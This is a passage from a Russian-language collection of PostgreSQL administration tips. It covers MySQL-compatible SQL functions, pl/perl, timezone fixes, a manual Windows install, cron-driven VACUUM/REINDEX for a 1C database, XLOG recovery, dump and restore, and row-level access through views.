       AND substring($1 FROM i-1 FOR 1) <> '%'
       THEN substring($1 FROM i for 1)
       ELSE CASE substring($1 FROM i FOR 2)
       WHEN '%H' THEN 'HH24'
       WHEN '%p' THEN 'am'
       WHEN '%Y' THEN 'YYYY'
       WHEN '%m' THEN 'MM'
       WHEN '%d' THEN 'DD'
       WHEN '%i' THEN 'MI'
       WHEN '%s' THEN 'SS'
       WHEN '%a' THEN 'Dy'
       WHEN '%b' THEN 'Mon'
       WHEN '%W' THEN 'Day'
       WHEN '%M' THEN 'Month'
       END
       END s
       FROM generate_series(1,length($1)) g(i)) g
       WHERE s IS NOT NULL),
       '')
       $$ LANGUAGE sql;
    
    get_format
    
       CREATE OR REPLACE FUNCTION get_format(text, text)
       RETURNS text AS $$
       SELECT CASE lower($1)
       WHEN 'date' THEN
       CASE lower($2)
       WHEN 'usa' THEN '%m.%d.%Y'
       WHEN 'jis' THEN '%Y-%m-%d'
       WHEN 'iso' THEN '%Y-%m-%d'
       WHEN 'eur' THEN '%d.%m.%Y'
       WHEN 'internal' THEN '%Y%m%d'
       END
       WHEN 'datetime' THEN
       CASE lower($2)
       WHEN 'usa' THEN '%Y-%m-%d %H-.%i.%s'
       WHEN 'jis' THEN '%Y-%m-%d %H:%i:%s'
       WHEN 'iso' THEN '%Y-%m-%d %H:%i:%s'
       WHEN 'eur' THEN '%Y-%m-%d %H.%i.%s'
       WHEN 'internal' THEN '%Y%m%d%H%i%s'
       END
       WHEN 'time' THEN
       CASE lower($2)
       WHEN 'usa' THEN '%h:%i:%s %p'
       WHEN 'jis' THEN '%H:%i:%s'
       WHEN 'iso' THEN '%H:%i:%s'
       WHEN 'eur' THEN '%H.%i.%s'
       WHEN 'internal' THEN '%H%i%s'
       END
       END;
       $$ LANGUAGE sql;
    
    hour
    
       CREATE OR REPLACE FUNCTION hour(time)
       RETURNS int AS $$
       SELECT EXTRACT(hour FROM $1)::int;
       $$ LANGUAGE sql;
    
       CREATE OR REPLACE FUNCTION hour(timestamp)
       RETURNS int AS $$
       SELECT EXTRACT(hour FROM $1)::int;
       $$ LANGUAGE sql;
    
    last_day
    
       CREATE OR REPLACE FUNCTION last_day(date)
       RETURNS date AS $$
       SELECT (date_trunc('month',$1 + interval '1 month'))::date - 1
       $$ LANGUAGE sql;
    
    makedate
    
       CREATE OR REPLACE FUNCTION makedate(year int, dayofyear int)
       RETURNS date AS $$
       SELECT (date '0001-01-01' + ($1 - 1) * interval '1 year' + ($2 - 1) * interval '1 day'):: date
       $$ LANGUAGE sql;
    
    maketime
    
       CREATE OR REPLACE FUNCTION maketime(int, int, double precision)
       RETURNS time AS $$
       SELECT time '00:00:00' + $1 * interval '1 hour' + $2 * interval '1 min'
       + $3 * interval '1 sec'
       $$ LANGUAGE sql;
    
    minute
    
       CREATE OR REPLACE FUNCTION minute(timestamp)
       RETURNS int AS $$
       SELECT EXTRACT(minute FROM $1)::int
       $$ LANGUAGE sql;
    
    month
    
       CREATE OR REPLACE FUNCTION month(date)
       RETURNS int AS $$
       SELECT EXTRACT(month FROM $1)::int
       $$ LANGUAGE sql;
    
    monthname
    
       CREATE OR REPLACE FUNCTION monthname(date)
       RETURNS text AS $$
       SELECT to_char($1, 'TMMonth')
       $$ LANGUAGE sql;
    
    str_to_date
    
       CREATE OR REPLACE FUNCTION str_to_date(text, text)
       RETURNS date AS $$
       SELECT to_date($1, _mysqlf_pgsql($2))
       $$ LANGUAGE sql;
    
    time
    
       CREATE OR REPLACE FUNCTION time(timestamp)
       RETURNS time AS $$
       SELECT $1::time
       $$ LANGUAGE sql;
    
    to_days
    
       CREATE OR REPLACE FUNCTION to_days(date)
       RETURNS int AS $$
       SELECT $1 - '0001-01-01bc'
       $$ LANGUAGE sql;
    
    unix_timestamp
    
       CREATE OR REPLACE FUNCTION unix_timestamp()
       RETURNS double precision AS $$
       SELECT EXTRACT(epoch FROM current_timestamp)
       $$ LANGUAGE sql;
    
       CREATE OR REPLACE FUNCTION unix_timestamp(timestamp)
       RETURNS double precision AS $$
       SELECT EXTRACT(epoch FROM $1)
       $$ LANGUAGE sql;
    
    year
    
       CREATE OR REPLACE FUNCTION year(date)
       RETURNS int AS $$
       SELECT EXTRACT(year FROM $1)
       $$ LANGUAGE sql;
    
    week
    
       CREATE OR REPLACE FUNCTION week(date)
       RETURNS int AS $$
       SELECT EXTRACT(week FROM $1)::int;
       $$ LANGUAGE sql;
    
    
    Эмуляция работы GROUP_CONCAT в PostreSQL:
    
       select array_to_string(array_agg(x),',') from omega;
    
    Дополнительно можно обратить внимание на проект
    http://pgfoundry.org/projects/mysqlcompat/ , в рамках которого
    ведется работа по портированию для PostgreSQL некоторых MySQL функций.
    
     
    ----* Создание глобальных переменных в pl/perl процедурах в PostgreSQL (доп. ссылка 1)   Автор: Олег Бартунов  [комментарии]
     
    CREATE OR REPLACE FUNCTION reset_counter() RETURNS INT AS $$
    $_SHARED{counter} = 0;
    return 0;
    $$ LANGUAGE plperl;
    
    CREATE OR REPLACE FUNCTION counter() RETURNS INT AS $$
    return $_SHARED{counter}++;
    $$ LANGUAGE plperl;
    
     
    ----* Как в PosgreSQL кешировать результат работы функции внутри запроса   [обсудить]
     
    CREATE FUNCTION ... LANGUAGE 'SQL' IMMUTABLE;
    Для старых версий: CREATE FUNCTION ... LANGUAGE 'SQL' WITH (ISCACHABLE); 
    
     
    ----* Pl/Perl для PostgreSQL   Автор: Yuri A. Kabaenkov  [обсудить]
     
    Функции написанные на pl/perl и даже pl/pgsql будут работать только в том
    случае если у вас установлен данный язык к вашей базе.
    Посмотреть какие языки установлены можно командой
    'select * from pg_language;`
    Обычно стоят только 
    С,SQL и internal(что такое объяснять не буду).
    Для установке pl/perl вам нужно выполнить  следующую команду.
    createlang plperl <dbname>
    Если же вы хотите чтоб pl/perl или pl/pgsql устанавливался автоматически на все
    создаваемые базы, то
    cratelang plperl template1
    
     
    ----* Как написать встроенную SQL функцию на Perl и экранировать одинарные кавычки   [комментарии]
     
    CREATE FUNCTION totalcomp(integer, integer) RETURNS integer
        AS '
        my $a = ''test''; # ''- Экранирование кавычки.
        return $_[0] + $_[1];
        '
    LANGUAGE 'plperl';
    
     
    ----* Как создать свою функцию для PostgreSQL.   [обсудить]
     
    CREATE FUNCTION login2contract(varchar)
       RETURNS int4               
       AS 'select contract_id from profile where login = $1'                             
       LANGUAGE 'SQL';
    CREATE FUNCTION time_minus_int(timestamp, integer)                         
       RETURNS timestamp                    
       AS 'select $1 - interval ($2) AS RESULT'                                           
       LANGUAGE 'SQL';
    
     

       Оптимизация и администрирование PostgreSQL

    ----* Отмена перехода на зимнее время в PostgreSQL   [комментарии]
     
    В PostgreSQL используется своя внутренняя таблица временных зон
    (postgresql-x.x.x/src/timezone), поэтому обновление системной базы zoneinfo не
    повлияет на перевод часов в PostgreSQL.
    
    Смотрим текущее состояние:
    
       SELECT * FROM pg_timezone_names;
    
       Europe/Moscow                    | MSK    | 03:00:00   | f
    
    Как видим часы перевелись и используется смещение +3 вместо +4.
    
       SELECT now();
       2011-11-01 11:00:19.834213+03
    
       SELECT now()-'6 days'::interval;
       2011-10-26 11:00:52.155833+04
    
    Копируем актуальные данные из обновлённой в системе базы часовых поясов. База
    часовых поясов в PostgreSQL может оказаться в /usr/local/share/pgsql/timezone,
    /usr/share/pgsql/timezone или /usr/local/pgsql/share/timezone/. Например:
    
       cp -f /usr/share/zoneinfo/Europe/Moscow /usr/share/pgsql/timezone/Europe/Moscow
     
    После этого "SELECT * FROM pg_timezone_names" отобразит изменения, но чтобы они
    подействовали обязательно требуется перезапустить PostgreSQL.
    
    Для изменения часового пояса для конкретной БД можно использовать конструкцию:
    
       ALTER DATABASE mydb SET timezone TO 'Asia/Yekaterinburg';
    
    Из других подводных камней, которые обнаружились при отмене перехода на зимнее
    время можно упомянуть забытое обновление /etc/localtime в chroot-окружениях и
    необходимость перезапуска демона cron.
    
     
    ----* Установка PostgreSQL под Windows вручную   Автор: Аноним  [комментарии]
     
    Задача: установить PostgreSQL в Windows без использования инсталлятора.
    
    1. Распаковываем архив c бинарниками (можно взять из готовой установки или с
    сайта http://www.enterprisedb.com/products-services-training/pgbindownload ) в C:\PostgreSQL
    
    2. Создаём каталог C:\PostgreSQL\data - там будут лежать данные базы
    
    3. Создаем пользователя postgres с паролем pwd. В командной строке вводим:
    
       net user postgres pwd /add
    
    4. Устанавливаем ему неограниченный срок действия пароля:
    
       WMIC UserAccount WHERE Name="postgres" Set PasswordExpires=FALSE
    
    5. Даем право входа в качестве службы утилитой ntrights из Windows Resource Kit Tools:
    
       ntrights +r SeServiceLogonRight -u postgres
    
    6. Даем все права на каталог C:\PostgreSQL:
    
       cacls C:\PostgreSQL /E /G postgres:F
    
    7. Создаем в C:\PostgreSQL\bin текстовый файл с именем pf, содержащий пароль pwd
    
    8. В C:\PostgreSQL\bin выполняем команду по инициализации базы:
    
       initdb -U postgres --pwfile=pf -A md5 -E UTF8 --locale=Russian_Russia -D C:\PostgreSQL\data
    
    9. Регистрируем сервис:
    
       pg_ctl register -N PostgreSQL -U postgres -P pwd -D C:\PostgreSQL\data -S auto
    
    10. Запускаем службу:
    
       sc start PostgreSQL
    
    Для удобства прописываем путь к бинарным файлам PostgreSQL в PATH:
    
       pathman /as c:\PostgreSQL\bin
    
     
    ----* Опыт обслуживания базы 1С в PostgreSQL (доп. ссылка 1)   Автор: sashacd  [комментарии]
     
    Знакомство с СУБД PostgreSQL было определено выходом версии платформы
    "1С:Предприятие 8.1", в которой была реализована поддержка СУБД PostgreSQL. Но
    все встречи с PostgreSQL проходили на резервном сервере (с ОС Linux), где
    методом тестового использования решался вопрос об использовании PostgreSQL в
    качестве СУБД для рабочей базы 1С. В это время на основном сервере (с ОС Linux)
    база 1С работала в файл-серверном режиме.
    
    До поры до времени шел процесс перехода со старой системы на 1С - нормативно
    справочная информация была перенесена заранее, а в это время переносились
    текущие остатки. Количество пользователей (менее 10) и размер файла базы 1С
    (менее 3Gb) позволяли работать в файл-серверном режиме.
    
    Шло время. Пользователи по мере внедрения переводились из старой системы в 1С.
    Количество пользователей росло. Размер файла базы данных тоже увеличивался в
    размере. Настало время подключать к базе 1С удаленных пользователей в
    терминальном режиме (FreeNX). Количество лицензий опять пришлось увеличить.
    Хорошо, что получилось поменять один ключ на ключ с большим количеством
    пользовательских лицензий и количество компьютеров для менеджера лицензий не увеличилось.
    
    И тут произошло самое скучное - размер базы данных 1С вырос до неприличных
    размеров. Все вместе, количество одновременно работающих в 1С пользователей
    более 10 и размер файла базы данных 1С более 4Gb, стало очень негативно
    сказываться на производительности работы пользователей в 1С.
    
    Настало время серьезного знакомства с возможностью размещения базы 1С в СУБД
    PostgreSQL. Пользуясь знакомством с СУБД PostgreSQL, переезд на SQL-версию
    размещения данных 1С прошел быстро и без жертв (сервер с ОС Linux).
    
    Время шло. Размер системного каталога PostgreSQL с базой 1C достиг размера
    35Gb. Размер dt-файла выгрузки базы 1С стал где-то около 1.2Gb, а развернутая
    база на его основе 16Gb. Пришло время придумать что-то еще для обеспечения
    производительной работы пользователей в 1С. Пользуясь документацией PostgreSQL,
    которая идет в комплекте с СУБД, оформилось две команды по обслуживанию базы
    "baza1c_81" в PostgreSQL. Эти команды выполняют сбор мусора, выполнение сбора
    статистики о базе данных для работы планировщика запросов, переиндексацию:
    
       VACUUM FULL VERBOSE ANALYZE;
       REINDEX DATABASE baza1c_81 FORCE;
    
    (Хотя с FULL в первой команде лучше для себя определиться еще раз
    самостоятельно, http://wiki.PostgreSQL.org/wiki/VACUUM_FULL и в документации
    PostgreSQL см. VACUUM).
    
    Далее дело техники. Определили время запуска. В воскресенье с 17-00 до
    понедельника 6-00 в базе никого не бывает. В cron отключаем ночное
    архивирование базы в это время (а архивировать лучше как средствами 1С, так и pgdump).
    
    
    Первым шагом в cron добавляем строку для создания архива:
    Запускаем crontab -e:
    
       0 17 * * 0 /var/lib/pgsql/backups/pgdump.sh
    
       :wq
    
    , где 0-мин, 17-час, *-день, *-месяц, 0-(день недели воскресенье);
    
    Вторым шагом добавляем в cron строку выполнения первой команды :
    
       0 18 * * 0 /var/lib/pgsql/backups/vacuum.sh
    
    , учтем 30 минут на работу pgdump.sh по созданию архива;
    
    В vacuum.sh делаем стоп-старт сервера предприятия 1C, PostgreSQL, менеджера лицензий и VACUUM :
    
       #!/bin/sh
       # reindex BD
       PIDEL=`pidof Xvfb`
       if [ ! "$PIDEL" = "" ]; then
          ##иногда выгрузка из 1С в WINE зависает
          kill -9 $PIDEL
       fi
       # stop 1c-server
       /bin/sh /etc/rc.d/rc.1c stop
       #kill all running session nx
       /bin/sh /etc/NX/bin/nxserver --cleanup
       sleep 150
       #перешли на stop start
       /bin/sh /etc/NX/bin/nxserver --stop
       /bin/sh /etc/rc.d/rc.sshd stop
       rm /tmp/.nX*
       rm /tmp/.X*
       rm /tmp/.X11-unix/X29 ## следы от запуска Xvfb
       #--------------
       /bin/killall nxserver
       /bin/killall nxnode
       /bin/killall nxagent
       #
       sleep 150
       /bin/sh /etc/rc.d/rc.sshd start
       /bin/sh /etc/NX/bin/nxserver --start
       #--------------
       # start 1c-server
       sleep 150
       /bin/sh /etc/rc.d/rc.1c start
       sleep 150
       su postgres -c /var/lib/pgsql/backups/vacuumdb.sh
    
    В vacuumdb.sh :
    
       #!/bin/sh
       psql -a -f /var/lib/pgsql/backups/vacuum.sql
    
    В vacuum.sql :
    
       VACUUM FULL VERBOSE ANALYZE;
    
    Команда по факту работает от 6 до 8 часов.
    
    Вторым шагом добавляем в cron строку выполнения второй команды:
    
       30 3 * * 1 /var/lib/pgsql/backups/reindex.sh
    
    ,учтем время на работу vacuum.sh;
    
    В reindex.sh все тоже, что и в vacuum.sh, за исключением одной строчки. Вместо
    su postgres -c /var/lib/pgsql/backups/vacuumdb.sh напишем su postgres -c /var/lib/pgsql/backups/reindexdb.sh.
    
    
    В reindexdb.sh :
    
       #!/bin/sh
       psql -a -f /var/lib/pgsql/backups/reindex.sql
    
    В reindex.sql :
    
       REINDEX DATABASE baza1c_81 FORCE;
    
    И в каждый понедельник база готова к эффективной работе.
    
    А время идет. Подумываем об использовании SSD-дисков для размещения WAL.
    
    PS. Если начинаете править postgresql.conf, тогда после изменений убедитесь в
    успешном старте PostgreSQL c новым postgresql.conf.  Также необходимо убедиться
    в успешном создании архивной копии, лучше всего восстановив базу на резервном
    сервере из архивной копии.
    
    PPS. Расчет себестоимости.... иногда этот расчет начинает очень сильно
    задумываться о чем-то своем. Так вот, в этом случае можно попробовать отключить
    в конфигурационном файле PostgreSQL autovacuum, выполнить стоп-старт "Менеджер
    лицензий-Сервер предприятия-PostgreSQL". После расчета себестоимости в
    конфигурационном файле вернуть все назад, стоп-старт. Оценить время расчета и
    сделать вывод о необходимости повтора этих действий.
    
    PPPS. Больная тема - остановка менеджера лицензий. И точнее всего эта остановка
    прикладывается в пятницу, вечером. Это когда подходит время в цехе запустить 1С
    и добавить в систему отчет производства за смену, или на складе готовой
    продукции идет отгрузка во вторую смену. В другие дни решить эту проблему
    помогает удаленный доступ, но в пятницу....
    
    Для спокойного выполнения пятничных планов делаем маленькое дополнение в cron,
    а именно добавляем следующую строку :
    
       0,5,10,15,20,25,30,35,40,45,50,55 * * * * /var/lib/pgsql/backups/hasp.restore
    
    В hasp.restore запишем :
    
       #!/bin/sh
       FLAG=$(ps -A | grep hasplm | wc -l)
       CUR_DATE=20$(date +%y).$(date +%m).$(date +%d)-$(date +%H)$(date +%M)$(date +%S):
       if [ $FLAG -eq 2 ]
       then
          echo "$CUR_DATE hasplm running" >> /var/log/hasp.restore.log
       else
          #echo "false"
          hasplm &
          echo "$CUR_DATE RESTORE hasplm" >> /var/log/hasp.restore.log
       fi
    
    И после выполнения crontab -e, с необходимым интервалом будет происходить
    проверка работы менеджера лицензий и запуск его в случае необходимости.
    
    Еще добавим в каталоге logrotate.d в файле syslog два файла для logrotate
    (автоматическая архивация log-файлов)
    
       /var/mail/root /var/log/hasp.restore.log
    
    А потом в свободное время смотрим tcpdump (или еще как то), вычисляем с какого
    адреса забивают наш менеджер лицензий. А там тоже может стоять менеджер
    лицензий, и даже совсем не 1С. Если находим такой адрес, добавляем правило в
    iptables не оставляя ему шансов присылать нам эти приветы.
    
     
    ----* Отмена запущенных запросов в PostgreSQL (доп. ссылка 1)   Автор: Konstantin A Mironov  [комментарии]
     
    Для отмены запущенных длительных запросов в PostgreSQL можно воспользоваться
    системными SP. Например, отменить множественные INSERT или множество
    продолжительных запросов:
    
       SELECT pg_cancel_backend(procpid) as x FROM pg_stat_activity WHERE current_query like 'INSERT%';
    
    Если запрос инициирован из интерфейса pgsql, то завершени работы pgsql не
    поможет - запрос все равно продолжит свое выполнение, необходимо именно
    вызывать pg_cancel_backend.
    
     
    ----* Восстановление PostgreSQL после повреждения файлов XLOG (доп. ссылка 1)   Автор: Konstantin A Mironov  [комментарии]
     
    Бывают случаи, когда файлы журнала транзакций (pg_xlog) могут быть повреждены
    или случайно удалены.
    В таком случае PostgreSQL не сможет работать и просто не запустится с подобной ошибкой:
    
       Jul 4 11:30:18 database postgres[92997]: [1-1] LOG: database system was interrupted at 2009-07-04 11:24:30 MSD
       Jul 4 11:30:18 database postgres[92997]: [2-1] LOG: could not open file "pg_xlog/000000010000031A00000027" 
          (log file 794, segment 39): No such file or directory
       Jul 4 11:30:18 database postgres[92997]: [3-1] LOG: invalid primary checkpoint record
       Jul 4 11:30:18 database postgres[92997]: [4-1] LOG: could not open 
    
    Найти поврежденный xlog-файл вряд ли получится, поэтому выход один - очистить
    информацию в БД об используемых логах.
    Для этого есть штатная утилита pg_resetxlog
    Но перед ее использованием надо узнать что именно вытирать из БД. Для этого делаем:
    
       # pg_controldata /var/db/pgsql/| grep "Latest checkpoint"
    
       Latest checkpoint's REDO location: 31A/27FFF7B8
       Latest checkpoint's UNDO location: 0/0
       Latest checkpoint's TimeLineID: 1
       Latest checkpoint's NextXID: 0/2400998005
       Latest checkpoint's NextOID: 75014368
    
    С этой информации нам интересны последние строчки с (NextXID, NextOID).
    
    Переходим в пользователя от имени которого выполняется PGSQL (в моем случае, это pgsql)
    
       # su pgsql
    
    И теперь сбрасываем логи, указав в параметрах наши цифры из данных pg_control
    
       $ pg_resetxlog -o 75014368 -x 2400998005 -f /var/db/pgsql/
    Transaction log reset
    
    Все, PGSQL теперь не помнит, что у него были когда-то логи транзакций и
    спокойно запустится, начав создавать их по-новой.
    
    PS: Хочется напомнить, что любые действия по восстановлению данных, требуют
    сохранения исходных данных
    перед любыми действиями над ними. Ну и максмум осторожности :)
    
     
    ----* Ускорение загрузки дампа PostgreSQL на многоядерных системах (доп. ссылка 1)   [комментарии]
     
    В бета версии PostgreSQL 8.4 в утилите pg_restore появилась поддержка возможности загрузки дампа 
    в несколько параллельных потоков. Например, загрузка дампа базы размером 300 Гб
    на 8-ядерном сервере
    занимала стандартным образом 12 часов, при распараллеливании процесса загрузки на 8 потоков, 
    время загрузи сократилось до 3 часов. Полная перезагрузка дампа базы может
    понадобиться например при миграции
    с PostgreSQL  8.2 на 8.3 или при переходе с 32- на 64-разрядную сборку системы.
    
    Огромным плюсом является и то, что параллельный вариант pg_restore 
    из ветки 8.4 прекрасно работает  с ветками 8.2 и 8.3.
    
    Рассмотрим процесс миграции с 8.2 на 8.3. На рабочей машине дополнительно
    установим в отдельную директорию бета версию 8.4:
    
       ./configure --prefix=/usr/local/pgsql84
       make
       make install 
    
    Создаем дамп работающей базы PostgreSQL 8.2, использую утилиту pg_dump из состава  PostgreSQL 8.3:
    
       /usr/local/pgsql83/bin/pg_dump -F c -v -f my_db.dump my_database
    
    В зависимости от конфигурации дополнительно может потребоваться сделать дамп ролей:
    
       /usr/local/pgsql83/bin/pg_dumpall -g -f my_roles.dump
    
    Восстанавливаем роли:
    
       /usr/local/pgsql83/bin/psql -f my_roles.dump postgres
    
    Запускаем процесс параллельного восстановления базы, число потоков задается
    через опцию -j, в нашем случае
    используется загрузка в 8 потоков. При указании большого числа потоков нужно
    быть уверенным, что система
    ввода/вывода не окажется узким местом, т.е. база размещена на высокопроизводительном хранилище:
    
       /usr/local/pgsql84/bin/pg_restore -F c -j 8 -v -C -f my_db.dump
    
    Дополнительно можно упомянуть, что в рамках проекта EnterpriseDB ведется
    разработка утилиты pg_migrator
    (http://pgfoundry.org/projects/pg-migrator/), позволяющей осуществлять перенос
    базы на новый сервер
    без остановки работы СУБД. Но  pg_migrator к сожалению находится еще на стадии альфа тестирования.
    
    
    Некоторые советы по оптимизации процесса создания дампа и его восстановления:
    
    * Во время восстановления можно отключить fsync режим и autovacuum, значительно
    увеличить размер памяти
    (до 1 Гб если памяти много), заданный в параметрах конфигурации work_mem и maintenance_work_mem, 
    при этом  размер wal_buffers и checkpoint_segments также нужно увеличить до 16 или 32 Мб;
    
    * При наличии больших GIN или GiST индексов, время восстановления которых
    нередко занимает 75% от всего времени
    восстановления, если без этих индексов можно себе позволить немного поработать,
    имеет смысл разделить
    процесс восстановления на две стадии: восстановление первичных данных, запуск БД в продакшин, 
    восстановление GIN или GiST индексов уже на работающей базе.
    
    * Всегда следует использовать pg_dump из более новой версии PostgreSQL, а не из
    старой, апгрейд которой производится.
    
    * Для продакшин систем, время и наличие возможных подводных камней стоит предварительно оценить, 
    выполнив тестовые dump/restore без остановки первичной базы;
    
     
    ----* PostgreSQL: безопасность на уровне строк (row level security)   Автор: FLUF  [комментарии]
     
    Некоторые базы данных, такие как MSSQL и MySQL5, имеют специальные механизмы
    для разграничения доступа
    пользователей к различным ресурсам БД вплоть до ячеек таблиц. PostgreSQL не
    нуждается в таких излишествах.
    На практике обычно требуется разграничить доступ на уровне строк. Для того, что
    бы сделать это, есть простой способ,
    основанный на использовании представлений, правил и функции current_user() или эквивалентного ей 
    ключевого слова user.
    
    Создадим любую таблицу от имени 'postgres', в которой обязательно должно присутствовать поле 
    для хранения логина:
    
       CREATE TABLE table1
       (
         fio text NOT NULL,
         name text,
         something integer,
         login text,
         CONSTRAINT table1_pkey PRIMARY KEY (fio)
       ) 
       WITHOUT OIDS;
       ALTER TABLE table1 OWNER TO postgres;
    
    Ни один пользователь не имеет никаких привилегий на эту таблицу.
    
    Создадим представление, и дадим необходимым пользователям некоторые привилегии:
    
       CREATE OR REPLACE VIEW table1v AS 
        SELECT table1.fio, table1.name, table1.something
          FROM table1
         WHERE table1.login = user;
       ALTER TABLE table1v OWNER TO postgres;
       GRANT SELECT, UPDATE, INSERT, DELETE ON TABLE table1v TO math_user;
    
    Создадим три правила - для вставки, обновления и удаления строк из представления:
    
       CREATE OR REPLACE RULE add AS
           ON INSERT TO table1v DO INSTEAD  INSERT INTO table1 (fio, name, something, login) 
         VALUES (new.fio, new.name, new.something, user);
    
       CREATE OR REPLACE RULE upd AS
           ON UPDATE TO table1v DO INSTEAD  UPDATE table1 SET fio = new.fio, name = new.name, something = new.something, login = user
         WHERE table1.login = user;
    
       CREATE OR REPLACE RULE del AS
           ON DELETE TO table1v DO INSTEAD  DELETE FROM table1 where login=user;
    
    Готово! Теперь пользователь math_user может просматривать или удалять только свои записи 
    и вставлять или изменять записи только под своим именем.
    
     
    ----* Как в PostgreSQL ограничить число одновременных сессий для базы и пользователя (доп. ссылка 1)   [комментарии]
     
    Начиная с PostgreSQL 8.1 появилась возможность ограничения числа соединений к серверу 
    для отдельного пользователя и базы:
    
       ALTER ROLE имя_пользователя CONNECTION LIMIT число;
       ALTER DATABASE имя_базы CONNECTION LIMIT число; 
    
    Можно указать лимит при создании базы или пользователя:
       CREATE USER имя_пользователя CONNECTION LIMIT число ENCRYPTED PASSWORD 'пароль';
       CREATE DATABASE имя_базы OWNER имя_пользователя CONNECTION LIMIT число; 
    
     
    ----* Как посмотреть размер баз и таблиц в PostgreSQL   [комментарии]
     
    Для сопоставления OID номеров и имен баз и таблиц в contrib есть утилита oid2name.
    
    Для просмотра размера таблиц для текущей базы:
       SELECT relname AS name, relfilenode AS oid, (relpages * 8192 / (1024*1024))::int as size_mb, reltuples  as count 
          FROM pg_class 
          WHERE relname NOT LIKE 'pg%' 
          ORDER BY relpages DESC;
    
    Для просмотра общего размера баз можно использовать скрипт:
       #!/bin/sh
       oid2name=/usr/local/pgsql/bin/oid2name
       pg_data_path=/usr/local/pgsql/data/base
    
       {
          $oid2name| grep '='| while read oid delim name; do
              size=`du -s $pg_data_path/$oid|cut -f1`
              echo "$size $name"
          done
       }|sort -rn
    
    Другой вариант просмотра размера базы:
    select pg_database_size('имя базы');
    
    Размер таблицы: 
    select select pg_relation_size('имя таблицы');
    
    Полный размер таблицы с сопутствующих индексов.
    select pg_total_relation_size('имя таблицы');
    
    Размер столбцов
    select pg_column_size('имя стобца') from 'имя таблицы'; 
    
    Состояние всех настроек можно посмотреть через функцию pg_show_all_settings().
    
     
    ----* Как вытащить тело PostgreSQL функции из системного каталога (доп. ссылка 1)   Автор: Олег Бартунов  [комментарии]
     
    Создаем view:
    
       CREATE OR REPLACE VIEW funcsource as
          SELECT '--\012create or replace function ' ||
             n.nspname::text || '.'::text || p.proname::text  ||
             '('::text || oidvectortypes(p.proargtypes) || ')\012'::text ||
             'returns ' || t.typname || ' as \'\012' ||
             p.prosrc || '  \'\012' || 
             'language \'' || l.lanname || ' \';\012' as func_source,
             proname as function, nspname as schema, t.typname as rettype,
             oidvectortypes(p.proargtypes) as args, l.lanname as language
          FROM pg_proc p, pg_type t, pg_namespace n, pg_language l
          WHERE p.prorettype = t.oid AND p.pronamespace = n.oid AND p.prolang = l.oid
         AND l.lanname <> 'c' AND l.lanname <> 'internal'  ;
    
    Сохраняем исходные коды функций в файл:
        psql -Atc "select func_source from funcsource;" > functions.out
    
     
    ----* Как восстановить template0 в PostgreSQL (доп. ссылка 1)   Автор: Олег Бартунов  [обсудить]
     
    Восстановление из резервной template1:
       postgres template1
       create database template0 with template template1
       update pg_database set datallowconn = false where datname='template0';
       vacuum full;
       vacuum freeze; 
    
     
    ----* Как в PostgreSQL временно отключить тригеры для ускорения закачки БД (доп. ссылка 1)   Автор: Олег Бартунов  [обсудить]
     
    Выключить:
       UPDATE "pg_class" SET "reltriggers" = 0 WHERE "relname"='tablename';
    
    Включить:
       UPDATE pg_class SET reltriggers = (
          SELECT count(*) FROM pg_trigger where pg_class.oid = tgrelid)
          WHERE relname = 'table name';            
    
     
    ----* Как включить помещение в лог всех запросов к PostgreSQL (доп. ссылка 1)   Автор: Brainbug  [комментарии]
     
    В файле конфигурации PostgreSQL:
       log_duration = true
       log_pid = true
       log_statement = true
       log_timestamp = true 
    
     
    ----* Как увеличить скорость вставки большого числа INSERT в PostgreSQL   [комментарии]
     
    Для увеличения скорости помещения большого числа INSERT запросов (например,
    дамп в формате pg_dump -D):
    
        SET autocommit TO 'off';
        строки с INSERT
        COMMIT;
        SET autocommit TO 'on';
    
    Или заключить набор INSERT'ов в одну транзакцию:
        BEGIN;
        INSERT....
        COMMIT;
    
    Вместо INSERT лучше использовать "COPY таблица (список полей) FROM stdin;"
    
     
    ----* Как посмотреть статистику работы PostgreSQL и MySQL   [обсудить]
     
    Чем сейчас занимается SQL сервер:
       MySQL: mysqladmin processlist
       PostgreSQL: select * from pg_stat_activity;
                   select * from pg_stat_database;
    Общая статистика по работе сервера:
       MySQL: mysqladmin extended-status; mysqladmin status
       PostgreSQL: select * from pg_stats;
    
     
    ----* Что можно сделать когда VACUUM в PostgreSQL выполняется почти часами и часто падает с deadlock.   [комментарии]
     
    Иногда, особенно для интенсивно обновляемых таблиц, начинают сыпаться deadlock'и и VACUUM 
    выполняется нереально долгое время. Часто проблема из-за поврежденного индекса. Решение:
      REINDEX TABLE таблица;
      REINDEX INDEX индекс;
    
     
    ----* Что нужно делать если после отключения по питанию, PostgreSQL не запускается   [комментарии]
     
    - Скопируйте содержимое директории pgsql/data
    - Если postmaster не загрузился - попробуйте удалить файлы 
      rm -f /tmp/.s.PGSQL.* /usr/local/pgsql/data/postmaster.pid
    и попытаться запустить PostgreSQL.
    - Если postmaster загрузился, но ни один запрос, включая vacuum, не выполняется,
    попробуйте использовать утилиту contrib/pg_resetxlog.
    - После всего выполните полный бэкап базы (pg_dumpall) и vacuumdb --all --full --analyze
    
     
    ----* Как лучше бэкапить данные баз в PostgreSQL   [обсудить]
     
    Полный бэкап всех баз:
      pg_dumpall [-s] [-D] > backup_file
    Выборочный бэкап:
      pg_dump [-s] [-D] [-t table] db > backup_file        
    -s - записывается только информация о структуре базы, без данных.
    -D - формируется бэкап данных в виде INSERT команд.
    -t table - бэкап выборочных таблиц.
    
     
    ----* Как избавиться от deadlock в PostgreSQL ?   [обсудить]
     
    Скорее всего вы используйте индексы типа "Hash". 
    Они не очень подходят для баз с множеством параллельных запросов,
    замените Hash на BTree.
    
     
    ----* Почему в PosgreSQL 7.2 наблюдается разростание таблиц ? Vacuum analyze запускается каждый день.   [комментарии]
     
    В PostgreSQL 7.2 полностью изменился механизм работы VACUUM. Теперь для
    реальной перестройки содержимого таблицы
    и реального освобождения пустых блоков необходимо запускать VACUUM FULL
    ANALYZE. Иначе при интенсивном апдейте,
    небольшая таблица может превратится в огромного монстра. Во время работы VACUUM
    FULL - текущая таблица блокируется.
    
     
    ----* Как использовать индексы для оптимизации запросов по полю типа timestamp   [обсудить]
     
    EXPLAIN SELECT num FROM news WHERE enter_date < (now() - '30 days'::interval);
    По умолчанию используется Seq Scan, несмотря на наличие индекса по
     enter_date, для использования индекса нужно использовать:
         EXPLAIN SELECT num FROM news WHERE enter_date < (SELECT now() - '30 days'::interval);
    или 
         set enable_seqscan to off;
    
     
    ----* Как в PostgreSQL посмотреть список активных баз и пользователей ?   [обсудить]
     
    Список пользователей:
       select * from pg_shadow;
    
    Список баз данных:
